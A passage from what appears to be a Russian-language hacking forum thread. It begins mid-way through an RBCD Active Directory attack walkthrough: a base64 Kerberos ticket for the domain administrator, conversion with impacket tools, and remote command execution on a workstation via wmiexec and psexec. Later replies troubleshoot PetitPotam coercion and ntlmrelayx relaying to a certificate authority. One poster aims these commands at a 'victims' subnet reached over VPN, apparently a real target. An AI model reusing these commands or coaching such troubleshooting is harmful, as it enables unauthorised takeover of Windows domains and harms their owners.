RjKvbtvN92tY2zQKAKZuxAC8lfEkYOZnFumgTDfT/0pwxjJh/VT+ah9gE5xiffedN/TJyDynALPfhxPLAgNy/hn2bD806Kkf2IxouLQrKed5tMP59h4PNsQdroGitCqfN2yjVxVAVsjx6vV1oBHFhSyXHdFTrC4jHgQ53GuUgUi6xvlFGwFdD4BWD8rj8pTIh7Qht3s07kX80jK0aMCaBGCjAxSLPLgvmnQw02CQawkyjYHGwQx+81GWtGvKeFod77IWB/v2aJID4YQXmsNWizG5M0DTbig7s9oBBiTSKmC967OBMwarB8SLzs4FKsbC63zbj9ygV6SnqNb+tBTpcZtGQLWHCqmiOkveu9aalt/HbFJEUbTm3k8zxop4QfI+wd079e1jpw5ep/FoVkaADODSQnKPsOjgeEwgd6gAwIBAKKB1gSB032B0DCBzaCByjCBxzCBxKAbMBmgAwIBEaESBBBJaTwsFgeUHWWtGfAqBiF2oQ8bDU9GRkVOU0UuTE9DQUyiGjAYoAMCAQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBAoQAApREYDzIwMjEwODA1MjEzNTA2WqYRGA8yMDIxMDgwNjA3MzUwNlqnERgPMjAyMTA4MTIyMTM1MDZaqA8bDU9GRkVOU0UuTE9DQUypJTAjoAMCAQKhHDAaGwRjaWZzGxJ3czAxLm9mZmVuc2UubG9jYWw=
[+] Ticket successfully imported!


Выше и ниже показано, как TGS для administrator@offense.local получает доступ к cifs/ws01.offense.local:

Посмотреть вложение 41453

Декодирование TGS в .kirbi

В окне Kali давайте с помощью base64 декодируем TGS, который мы получили для administrator@offense.local, в cifs/ws01.offense.local и сохраняем его как admin.kirbi:

echo "doIGKDCCBiSgAwIBBaEDAgEWooIFMjCCBS5hggUqMIIFJqADAgEFoQ8bDU9GRkVOU0UuTE9DQUyiJTAjoAMCAQKhHDAaGwRjaWZzGxJ3czAxLm9mZmVuc2UubG9jYWyjggTlMIIE4aADAgESoQMCAQSiggTTBIIEzxoygQ+ct2ZWRHDVNhU9KLaDPr/Uy0kcfDjNmKOUTLrWEaAWrmd6XCku064fwuaumQAwT3VLTnj2r+FVyTQYkRTHB8r6FAjFUdPRNTBLX6dgiD7S9UbDgwpF/x/CXRt83T0F64MdzoTbCcsdP3ZPuJZgSI10nqo3dC7pAeop7+FP+h1fsycpKSWJ9b5km8rx7eQ4VcjoAOjxMizb1U1ruayBy8jwGoMjn4AdQ9GICyKdgy0almvAHxh9qm3QXPe/yHPiJKA2mDZ+QwxZRGcsMWf/kTbh6u131Y7hux2sfMMHnBWVT3dTlw+oPmNxWy/0EH+lsq0SvgCk7LAxAT+jL69An7GS+uDeSlWZrDFbqKOJZ0FQ1QPYj8lG8vUL01fYekWJ/njlMKc3yiXv682Rq+Tf3kAZ+e+P3VrAa/lBuhe5KhV/HcCSVB6lmiJemingL8t9sR2Zbljs15FtHAw8TnIF2Se6QWc1HWjRM1z6ywXXiDWyAL5MIPP53pM68kwwxXvNQ+/HEi3j066ZY0AvWz6HuO5PghokrWkaBFj9qUlj54viwq5gly1UWwD42oFK+Jo4MHTzEZ+OzrDCysfVW3zkgGuB9H8nMrL6JsHI0afSoBk2XIhKHZPF25Z+BXYe/gGQV6L8tGS1ldUcNS3jYUYvpe6ceMdka8gs2PCb7s0TwrtI+KtSOBfdP8goKk4u8QwTQP9wnB9UE9M0Hh1awVoG3qXngVYvptGL9B4+zmq2EOdLq15/Nu0oydbwSkm0UxkN0VOvND9e8wF1708loj3kztWi4VaoI6/4H+4QalPBUDkm0IlR4xn4pNVtq8G0EgXZX7l/KJPeIV8wfctxGoWlJ+98h7h5AcUj8iLVw8h+gRyb1/njT+XBrmtHXfZYiuicmcSfTa6j9YkUD1yo4tT3aQTV7k/rAf/A1iB/jgXriz4VJVfgsKBBQYtAeTLYbtyyyzIqD7NUzQSjo9MFaK+0ps26z2PF4S2egOtwS7X/uJs8E0zgs/HZ9Z+dNdkK/+Zg9I0DR5VQTuXIMRL82E6SPBJolilhJpH94spYtj5qjNd0u6XJaAnxUT6JoRSIVtxS9pkJUtUUURDvddQQ6q+FxRZepfs/4RuXG8Ui8s31QMvFWRRdJvuDAI6D9DXWyl/46kCBwmJ1PTFI4fmJK691W9unyMZ/SeQr7A8gQ4I/rqnixkX+nLzklfpJ4c62Y0f99gUa6z6iBRjKvbtvN92tY2zQKAKZuxAC8lfEkYOZnFumgTDfT/0pwxjJh/VT+ah9gE5xiffedN/TJyDynALPfhxPLAgNy/hn2bD806Kkf2IxouLQrKed5tMP59h4PNsQdroGitCqfN2yjVxVAVsjx6vV1oBHFhSyXHdFTrC4jHgQ53GuUgUi6xvlFGwFdD4BWD8rj8pTIh7Qht3s07kX80jK0aMCaBGCjAxSLPLgvmnQw02CQawkyjYHGwQx+81GWtGvKeFod77IWB/v2aJID4YQXmsNWizG5M0DTbig7s9oBBiTSKmC967OBMwarB8SLzs4FKsbC63zbj9ygV6SnqNb+tBTpcZtGQLWHCqmiOkveu9aalt/HbFJEUbTm3k8zxop4QfI+wd079e1jpw5ep/FoVkaADODSQnKPsOjgeEwgd6gAwIBAKKB1gSB032B0DCBzaCByjCBxzCBxKAbMBmgAwIBEaESBBBJaTwsFgeUHWWtGfAqBiF2oQ8bDU9GRkVOU0UuTE9DQUyiGjAYoAMCAQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBAoQAApREYDzIwMjEwODA1MjEzNTA2WqYRGA8yMDIxMDgwNjA3MzUwNlqnERgPMjAyMTA4MTIyMTM1MDZaqA8bDU9GRkVOU0UuTE9DQUypJTAjoAMCAQKhHDAaGwRjaWZzGxJ3czAxLm9mZmVuc2UubG9jYWw=" | base64 -d > admin.kirbi

Преобразование билета .kirbi в .ccache


Используйте инструмент ticketConverter от impacket, чтобы преобразовать файл .kirbi в файл .ccache следующим образом:

examples/ticketConverter.py ../admin.kirbi admin.ccache

Посмотреть вложение 41454

Экспорт KRB5CCNAME


Теперь нам нужно экспортировать переменную KRB5CCNAME и указать ее в наш файл admin.ccache:

export KRB5CCNAME=admin.ccache

Посмотреть вложение 41455

Выполнение кода от имени администратора домена на WS01


Теперь мы можем использовать wmiexec impacket для выполнения команд на WS01 от имени администратора:

examples/wmiexec.py -k -no-pass offense.local/administrator@ws01.offense.local

Посмотреть вложение 41456

Выполнение привилегированного кода на WS01 также может быть достигнуто с помощью psexec impacket:

Посмотреть вложение 41457

Примечание

Также можно выполнить RBCD для локального повышения привилегий:

- используя скомпрометированного пользователя с установленным SPN, предполагая, что у вас есть право WRITE на компьютер, который вы хотите скомпрометировать, объект AD, как описано
https://orangecyberdefense.com/glob...ues-and-tools-for-domain-takeover-using-rbcd/

- через socks-прокси и перенаправление удаленных портов, как описано https://www.praetorian.com/blog/red-team-privilege-escalation-rbcd-based-privilege-escalation-part-2/, что снижает потребность в Linux ящик внутри скомпрометированной сети с настроенным прослушивателем ретрансляции NTLM.

Обратите внимание на себя: какой это красивый вектор атаки.

PetitPotam заблокирован?

Теперь вы также можете использовать это:




I dont understand petitpotam.

python3 PetitPotam.py Kali_Ip Victim_IP ?
and http://ca01/certsrv/certfnsh.asp is the Kali_Ip?

kali ip : 10.0.0.5

-10.0.0.6 - DC01 domain controller will be
- 10.0.0.5 - Kali box with NTLM relay;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
both are from kali


- 10.0.0.7 - working version of Windows (WS01). This is the PC that we will force to authenticate our Kali PC, which will pass the authentication to DC01 and set up the WS01 PC for remote capture;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
victim server or computer?
-10.0.0.6 - DC01 domain controller;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
victim server?

-10.0.0.10 - Certification Authority (CA01). This is the PC from which we will force WS01 to authenticate to DC01;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
is kali?

can someone explain?
 
I dont understand petitpotam.

python3 PetitPotam.py Kali_Ip Victim_IP ?
and http://ca01/certsrv/certfnsh.asp is the Kali_Ip?

kali ip : 10.0.0.5

-10.0.0.6 - DC01 domain controller will be
- 10.0.0.5 - Kali box with NTLM relay;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
both are from kali


- 10.0.0.7 - working version of Windows (WS01). This is the PC that we will force to authenticate our Kali PC, which will pass the authentication to DC01 and set up the WS01 PC for remote capture;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
victim server or computer?
-10.0.0.6 - DC01 domain controller;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
victim server?

-10.0.0.10 - Certification Authority (CA01). This is the PC from which we will force WS01 to authenticate to DC01;
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
is kali?

can someone explain?
and http://ca01/certsrv/certfnsh.asp is the Kali_Ip? - это ипак центра с сертами, помоему он у тебя тут
10.0.0.10 - Certification Authority (CA01).
 
i try and didnt work .
example ,
My Kali 10.20.30.10
victims 192.168.1.0/24

python3 PetitPotam.py 10.20.30.10 192.168.1.5 -d victim.local '' -u '' -p ''

connection forti vpn
2 models:
My lan
sudo python3 impacket/examples/ntlmrelayx.py -debug -smb2support --target http://10.20.30.12/certsrv/certfnsh.asp --adcs --template DomainController
Victim lan
sudo python3 impacket/examples/ntlmrelayx.py -debug -smb2support --target http://192.168.1.7/certsrv/certfnsh.asp --adcs --template KerberosAuthentication


Nothing

test with both :
hxxps: //github.com/topotam/PetitPotam
hxxps: //github.com/XiaoliChan/PetitPotam-V2
 
i try and didnt work .
example ,
My Kali 10.20.30.10
victims 192.168.1.0/24

python3 PetitPotam.py 10.20.30.10 192.168.1.5 -d victim.local '' -u '' -p ''

connection forti vpn
2 models:
My lan
sudo python3 impacket/examples/ntlmrelayx.py -debug -smb2support --target http://10.20.30.12/certsrv/certfnsh.asp --adcs --template DomainController
Victim lan
sudo python3 impacket/examples/ntlmrelayx.py -debug -smb2support --target http://192.168.1.7/certsrv/certfnsh.asp --adcs --template KerberosAuthentication


Nothing

test with both :
hxxps: //github.com/topotam/PetitPotam
hxxps: //github.com/XiaoliChan/PetitPotam-V2
sudo python3 impacket/examples/ntlmrelayx.py -debug -smb2support --target http://10.0.0.10/certsrv/certfnsh.asp --adcs --template DomainController
так, и проверь чтобы у тебя WebEnrollment был включен
 
i try and didnt work .
python3 PetitPotam.py 10.20.30.10 192.168.1.5 -d victim.local '' -u '' -p ''
unauth petitpotam был запатчен в 21 году, если патч установлен, то это просто один из многочисленных способов принудительной аутентификации который так же требует креды

Помимо этого могут стоять RPC-фильтры на какие-то конкретные методы coerce
Лучше использовать
Что-то да сработает почти наверняка
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх